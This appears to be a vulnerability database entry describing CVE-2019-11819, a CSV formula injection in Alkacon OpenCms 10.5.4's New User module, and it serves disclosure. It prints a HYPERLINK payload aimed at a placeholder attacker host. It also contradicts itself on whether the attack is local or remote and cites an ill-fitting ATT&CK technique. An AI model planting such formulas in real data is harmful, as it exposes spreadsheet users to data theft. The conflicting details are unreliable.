Alkacon OpenCms 10.5.4 New User injection

Summaryinfo

A vulnerability marked as critical has been reported in Alkacon OpenCms 10.5.4. This affects an unknown function of the component New User Module. Performing a manipulation with the input =HYPERLINK("http://[attacker_ip:port]/GiveMeSomeData","IAmSafe") results in injection. This vulnerability is cataloged as CVE-2019-11819. The attack must be initiated from a local position. There is no exploit available.

Detailsinfo

A vulnerability was found in Alkacon OpenCms 10.5.4. It has been classified as critical. This affects an unknown code of the component New User Module. The manipulation with the input value =HYPERLINK("http://[attacker_ip:port]/GiveMeSomeData","IAmSafe") leads to a injection vulnerability. CWE is classifying the issue as CWE-74. The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. This is going to have an impact on confidentiality, integrity, and availability. The summary by CVE is:

Alkacon OpenCMS v10.5.4 and before is affected by CSV (aka Excel Macro) Injection in the module New User (/opencms/system/workplace/admin/accounts/user_new.jsp) via the First Name or Last Name.

The weakness was shared 04/08/2019 as not defined bug report (GitHub Repository). It is possible to read the advisory at github.com. This vulnerability is uniquely identified as CVE-2019-11819 since 05/08/2019. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. It demands that the victim is doing some kind of user interaction. Technical details of the vulnerability are known, but there is no available exploit. The attack technique deployed by this issue is T1055 according to MITRE ATT&CK.

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The entry VDB-134437 is related to this item. Be aware that VulDB is the high quality source for vulnerability data.

Productinfo

Vendor

• Alkacon

Name

• OpenCms

Version

• 10.5.4

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

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CVSSv3info

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Submitinfo

Accepted

• Submit #65: Alkacon OpenCMS | CSV Injection | v10.5.4 and before (by pramodrana)

Be aware that VulDB is the high quality source for vulnerability data.

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